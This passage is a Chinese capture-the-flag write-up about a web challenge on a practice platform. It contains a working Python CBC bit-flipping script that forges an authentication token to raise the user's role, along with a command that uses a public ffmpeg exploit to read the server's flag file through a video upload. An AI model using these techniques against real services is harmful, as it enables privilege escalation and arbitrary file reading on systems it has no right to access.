plain_text = padding_oracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaEVqZjRGRjhTQVV5VjVmS3RqbGhuY2lZV3YrYW9NZi9EV2hvU1laaVFpWTJkanlpV1hJbGNqM2FRTndmajdLNnpvZGwzcUhsb2lPakdxWGhCRTN6UHVTeDMwY2lPdlpMZm5ya2tDZ0ZWRXFRPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoyLCJwYXlsb2FkIjoic3c4SHByRENncFJHRWZwYzMxY29KME1DR1NkRm90SlgiLCJleHBpcmVfaW4iOjE1ODI5ODYwODB9")
print(plain_text)

由于padding需要頻繁請求服務(wù)器,buu的靶機期間經(jīng)常出現(xiàn)404。所以我得在每次出現(xiàn)404時sleep十多秒......太難了,跑了快幾小時才好。跑完后得到明文結(jié)構(gòu)

{"role":3,"user_id":2,"payload":"sw8HprDCgpRGEfpc31coJ0MCGSdFotJX","expire_in":1582986080}

既然如此,把role改為1應(yīng)該就可以解決權(quán)限問題。所以cbc翻轉(zhuǎn)下


import requests
import base64
import json

host = "d46d6658-3bdd-48d9-8600-ee320a2a837a.node3.buuoj.cn"

def cbc_attack(key, block, origin_content, target_content):
    user_key_decode = base64.b64decode(key)
    #print(user_key_decode)
    user_key_json_decode = json.loads(user_key_decode)
    signed_key = user_key_json_decode['signed_key']
    #print(signed_key)
    cipher_o = base64.b64decode(signed_key)
    #print(cipher_o)
    if block > 0:
        iv_prefix = cipher_o[:block * 16]
    else:
        iv_prefix = b''
    iv = cipher_o[block * 16:16 + block * 16]
    cipher = cipher_o[16 + block * 16:]
    iv_array = bytearray(iv)
    for i in range(0, 16):
        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
    iv = bytes(iv_array)
    #print(iv)
    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8')
    return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))


def get_user_info(key):
    r = requests.post("http://" + host +"/frontend/api/v1/user/info", headers={"Key": key})
    if r.json()['code'] == 100:
        print("獲取成功!")
    #return r.json()['data']


def modify_role_plain(key, role):
    user_key_decode = base64.b64decode(user_key)
    user_key_json_decode = json.loads(user_key_decode)
    user_key_json_decode['role'] = role
    return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8')).decode('utf-8')

print("翻轉(zhuǎn) Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaEVqZjRGRjhTQVV5VjVmS3RqbGhuY0JWN1BLdlJ2UVlGdVUydlppRXRKYlV0NkJWZGRlZUp0Rll2Nnl4dmxpaVhYMTdEcVZ6WXJjVjJEeTloekpaM29Gcm9yV0hUWDh0T2N0bjFITXFSSlBnPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoyLCJwYXlsb2FkIjoidjByeEZqT2NJZW0xYzNta3o5Q2VINXZYdWxuZ0pES3AiLCJleHBpcmVfaW4iOjE1ODI5OTU2NDh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_plain(user_key, 1)
print(user_key)
print("測試拉取用戶信息:")
user_info = get_user_info(user_key)
print(user_info)

如果測試的返回沒有問題的話,我們就可以直接拿payload修改為cookie登錄了。實際上頁面源碼中會提示,預(yù)設(shè)一個值為Key的cookie,所以我們直接添加Key值cookie,成功登陸。
最后就是一個misc型題目了......后臺唯一比較有意思 的是視頻上傳功能,而隨便上傳后再下下來我們的上傳視頻,會發(fā)現(xiàn)視頻的MD5值發(fā)生改變。說明可能服務(wù)器對視頻處理過了。這里趙師傅設(shè)計的是ffmpeg對視頻處理。所以可找能處理ffmpeg漏洞的腳本
https://github.com/neex/ffmpeg-avi-m3u-xbin/

python gen_xbin_avi.py file:///flag test.avi

上傳后再下下來,第一幀就有flag了。


flag
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 今天在BUUctf上做了此題,正好想找機會加深一下對phar相關(guān)知識的理解, 一打開是個登陸界面,簡單試了下好像沒...
    天水麒麟兒_閱讀 5,241評論 1 6
  • EZcms https://www.cnblogs.com/wfzWebSecuity/p/11527392.ht...
    Err0rzz閱讀 1,724評論 0 1
  • WEB2 看源代碼得flag 文件上傳測試 找一張圖片上傳,截包改后綴名為.php得flag 計算題 F12修改輸...
    a2dd56f6ad89閱讀 18,637評論 0 2
  • 發(fā)現(xiàn)buuoj上安洵2019的題目有現(xiàn)成的,不用在vps上搭了(第一題除外,搭好才發(fā)現(xiàn)......),剛好做做。 ...
    byc_404閱讀 2,518評論 0 1
  • 2017年9月9日如是家人黃愈惠,種種子第40天。 發(fā)心:我今不是為了我個人而聞思修行,而是為了六道輪回一切如母有...
    愈惠閱讀 193評論 0 2

友情鏈接更多精彩內(nèi)容